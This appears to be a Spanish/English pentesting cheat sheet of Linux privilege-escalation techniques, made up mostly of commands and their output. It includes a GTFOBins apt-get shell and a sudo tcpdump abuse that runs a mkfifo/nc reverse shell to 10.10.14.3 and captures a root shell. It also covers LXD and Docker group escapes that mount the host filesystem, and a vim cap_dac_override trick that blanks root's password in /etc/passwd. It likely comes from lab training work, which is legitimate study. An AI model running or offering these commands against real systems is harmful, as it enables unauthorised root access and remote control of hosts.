Skip to content

Special Permissions

c
$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
c
$ find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

GTFOBins

c
$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

Sudo Rights Abuse

c
$ sudo -l

Matching Defaults entries for sysadm on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysadm may run the following commands on NIX02:
    (root) NOPASSWD: /usr/sbin/tcpdump
c
$ man tcpdump

<SNIP> 
-z postrorate-command              

Used in conjunction with the -C or -G options, this will make `tcpdump` run " postrotate-command file " where the file is the savefile being closed after each rotation. For example, specifying -z gzip or -z bzip2 will compress each savefile using gzip or bzip2.
c
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
c
$  cat /tmp/.test

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
c
$ sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

dropped privs to root
tcpdump: listening on ens192, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
6 packets received by filter
compress_savefile: execlp(/tmp/.test, /dev/null) failed: Permission denied
0 packets dropped by kernel
c
$ nc -lnvp 443

listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.2.12] 38938
bash: cannot set terminal process group (10797): Inappropriate ioctl for device
bash: no job control in this shell

root@NIX02:~# id && hostname               
id && hostname
uid=0(root) gid=0(root) groups=0(root)
NIX02

Privileged Groups

LXC / LXD

c
$ id

uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)
c
$ unzip alpine.zip 

Archive:  alpine.zip
extracting: 64-bit Alpine/alpine.tar.gz  
inflating: 64-bit Alpine/alpine.tar.gz.root  
cd 64-bit\ Alpine/
c
$ lxd init

Do you want to configure a new storage pool (yes/no) [default=yes]? yes
Name of the storage backend to use (dir or zfs) [default=dir]: dir
Would you like LXD to be available over the network (yes/no) [default=no]? no
Do you want to configure the LXD bridge (yes/no) [default=yes]? yes

/usr/sbin/dpkg-reconfigure must be run as root
error: Failed to configure the bridge
c
$ lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine

Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: be1ed370b16f6f3d63946d47eb57f8e04c77248c23f47a41831b5afff48f8d1b
c
$ lxc init alpine r00t -c security.privileged=true

Creating r00t
c
$ lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

Device mydev added to r00t
c
$ lxc start r00t
$ lxc exec r00t /bin/sh

~ # id
uid=0(root) gid=0(root)
~ #

Docker

c
docker run -v /root:/mnt -it ubuntu

Disk

Los usuarios dentro del grupo de discos tienen acceso completo a cualquier dispositivo contenido en /dev, como /dev/sda1, que suele ser el dispositivo principal utilizado por el sistema operativo. Un atacante con estos privilegios puede utilizar debugfs para acceder a todo el sistema de archivos con privilegios de nivel root. Al igual que con el ejemplo del grupo Docker, esto podría ser aprovechado para recuperar claves SSH, credenciales o para agregar un usuario.

ADM

c
$ id

uid=1010(secaudit) gid=1010(secaudit) groups=1010(secaudit),4(adm)

Capabilities

Set Capability

c
$ sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic
CapabilityDescription
cap_sys_adminPermite realizar acciones con privilegios administrativos, como modificar archivos del sistema o cambiar la configuración del sistema.
cap_sys_chrootPermite cambiar el directorio raíz del proceso actual, permitiéndole acceder a archivos y directorios que de otro modo serían inaccesibles.
cap_sys_ptracePermite adjuntar y depurar otros procesos, permitiendo potencialmente obtener acceso a información sensible o modificar el comportamiento de otros procesos.
cap_sys_nicePermite subir o bajar la prioridad de los procesos, permitiéndole potencialmente acceder a recursos que de otro modo estarían restringidos.
cap_sys_timePermite modificar el reloj del sistema, permitiendo potencialmente manipular marcas de tiempo o hacer que otros procesos se comporten de forma inesperada.
cap_sys_resourcePermite modificar los límites de recursos del sistema, como el número máximo de descriptores de archivo abiertos o la cantidad máxima de memoria que se puede asignar.
cap_sys_modulePermite cargar y descargar módulos del kernel, permitiendo potencialmente modificar el comportamiento del sistema operativo u obtener acceso a información sensible.
cap_net_bind_servicePermite enlazarse a puertos de red, permitiendo potencialmente obtener acceso a información sensible o realizar acciones no autorizadas.
Varias capalibities de Linux pueden ser utilizadas para escalar los privilegios de un usuario a root, incluyendo:
CapabilityDescription
cap_setuidPermite a un proceso establecer su ID de usuario efectivo, que puede utilizarse para obtener los privilegios de otro usuario, incluido el usuario root.
cap_setgidPermite establecer su ID de grupo efectivo, que puede utilizarse para obtener los privilegios de otro grupo, incluido el grupo raíz.
cap_sys_adminEsta capacidad proporciona una amplia gama de privilegios administrativos, incluida la posibilidad de realizar muchas acciones reservadas al usuario root, como modificar la configuración del sistema y montar y desmontar sistemas de archivos.
cap_dac_overridePermite eludir las comprobaciones de permisos de lectura, escritura y ejecución de archivos.

Enumerating Capabilities

c
$ find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

/usr/bin/vim.basic cap_dac_override=eip
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep

Exploitation

c
$ getcap /usr/bin/vim.basic

/usr/bin/vim.basic cap_dac_override=eip
c
$ cat /etc/passwd | head -n1

root:x:0:0:root:/root:/bin/bash
c
$ /usr/bin/vim.basic /etc/passwd
c
$ echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
$ cat /etc/passwd | head -n1

root::0:0:root:/root:/bin/bash